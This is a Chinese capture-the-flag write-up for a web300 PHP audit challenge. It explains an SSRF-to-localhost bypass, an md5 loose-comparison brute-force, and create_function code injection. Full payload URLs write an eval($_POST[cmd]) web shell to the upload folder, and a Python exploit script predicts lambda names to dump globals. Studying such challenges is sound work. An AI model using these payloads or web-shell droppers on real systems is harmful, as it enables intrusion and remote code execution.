班级对抗赛--web300审计

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
include_once('flag.php');
show_source(__FILE__);
class D0g3{
public $name;
function __construct($name) {
$this->name = $name;
echo 'construct<br>';
}
function __destruct()
{
echo 'destruct<br>';
$arg = $_GET['arg'];
if (md5($this->name) == 20171126){
$some_thing_interesting = create_function("", "var_dump($arg);");
$_GET["func"]();
}
else
{
echo 'maybe you can create some function for me???';
}
}
}
function user($model){
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1' || $model === 'D0g3'){
die('permission denied');
}
else
new $model($_GET['name']);
}
function upJpg($host){
$host = $host.'D0g3.jpg';
$data = file_get_contents($host);
$mt = mt_rand();
file_put_contents("upload/".$mt. "_D0g3.jpg", $data);
echo 'update success: '.$mt. "_D0g3.jpg";
}
$model = $_GET['m'];
$action = $_GET['a'];
$host = $_GET['h'];
if ($model){
$user = user($model);
}
if($action === 'upJpg'){
upJpg($host);
}

解法一

首先定义了一个D0g3类,马上想到可能是反序列化,但是读完发现没有unserialize(),也没开启session,所以不是不是反序列化.

正确的漏洞点是在

1
new $model($_GET['name']);

这里直接实例化一个类,\$model可控,但是需要绕过

1
$_SERVER['REMOTE_ADDR'] !== '127.0.0.1' || $model === 'D0g3'

类名不区分大小写,所以这里很好绕过,用小写就行了,$_SERVER['REMOTE_ADDR']在客户端没法绕,注意到下面的upJpg()存在SSRF,所以可以用它来请求127.0.0.1,后面的D0g3.jpg#或者加额外参数截断掉.

实例化类的时候进入到析构函数里,经过md5($this->name) == 20171126判断,用的双等于,可以利用20171126axxx==20171126,爆破出一个md5来绕过.

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$i=0;
while(1) {
if(md5($i) == 20171126) {
echo 'pwn:'.$i;
break;
}
if($i % 100000 == 0) {
echo $i."\r\n";
}
$i++;
}

然后是创建了一个匿名函数并执行,

1
2
$some_thing_interesting = create_function("", "var_dump($arg);");
$_GET["func"]();

create_function()函数在内部使用了eval(),本身就存在代码注入的问题,可以通过构造闭合来执行任意代码,即使不调用生成的函数.

1
2
3
<?php
$no_use = create_function('', $_GET['code']);
//$no_use();
1
127.0.0.1/test2.php?code=;}phpinfo();%23

所以这道题可以直接getshell的(闭合掉var_dump和函数体).

这里唯一的坑点是URL编码的问题,我们先不考虑127.0.0.1的绕过,如果直接写shell,那么把arg参数URL编码,payload1如下:

1
http://127.0.0.1/index.php?m=d0g3&name=2980909641&arg=1)%3b}file_put_contents('./upload/shell.php','<%3fphp+eval($_POST[cmd])%3b%3f>')%3b%23

然后用SSRF绕过127.0.0.1的判断,把payload1加上一个#(截断掉后面的D0g3.jpg)作为h参数的值传入,所以需要再整体编码一次,得到

1
http%3a//127.0.0.1/index.php%3fm%3dd0g3%26name%3d2980909641%26arg%3d1)%253b}file_put_contents('./upload/shell.php','<%253fphp%2beval($_POST[cmd])%253b%253f>')%253b%2523%23

最后构造完成的payload,

1
http://127.0.0.1/index.php?a=upJpg&h=http%3a//127.0.0.1/index.php%3fm%3dd0g3%26name%3d2980909641%26arg%3d1)%253b}file_put_contents('./upload/shell.php','<%253fphp%2beval($_POST[cmd])%253b%253f>')%253b%2523%23

即可在upload目录下写入shell.php

解法二

在现场做的时候我并不是用的上面的解法,而是用了前段时间hitcon上的一个思路.

create_function()创建成功后会返回一个唯一的函数名,

函数名为\x00lambda_n,\x00是空字符(URL编码为%00),n从1开始递增,通过发送大量请求,可以使Apache启动新线程,n再次从1开始,使得函数名可以预测.

所以可以在下面的$_GET["func"]();调用该函数.

index.php开头包含了flag.php,所以猜测flag应该是个变量,题意应该是让用var_dump()输出$GLOBALS来读取flag.

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#! /usr/bin/env python3
# Author : sn00py
# Date : 11/26 10:09
# Email: 3022235906@qq.com
# Comment: no comment
import requests
import re
url = "http://255.255.255.255/index.php?a=upJpg&h=http%3a//127.0.0.1/index.php%3fm%3dd0g3%26name%3d2980909641%26arg%3d$GLOBALS%26func%3d%2500lambda_1%2523"
while True:
try:
res = requests.get(url)
img = re.search(r"update success: (.+)", res.text).group(1)
img_url = "http://222.18.158.242:10001/upload/" + img
print(img_url)
res = requests.get(img_url)
if 'array' in res.text:
print(res.text)
break
except Exception as e:
continue

参考

https://paper.seebug.org/94/

https://lorexxar.cn/2017/11/10/hitcon2017-writeup/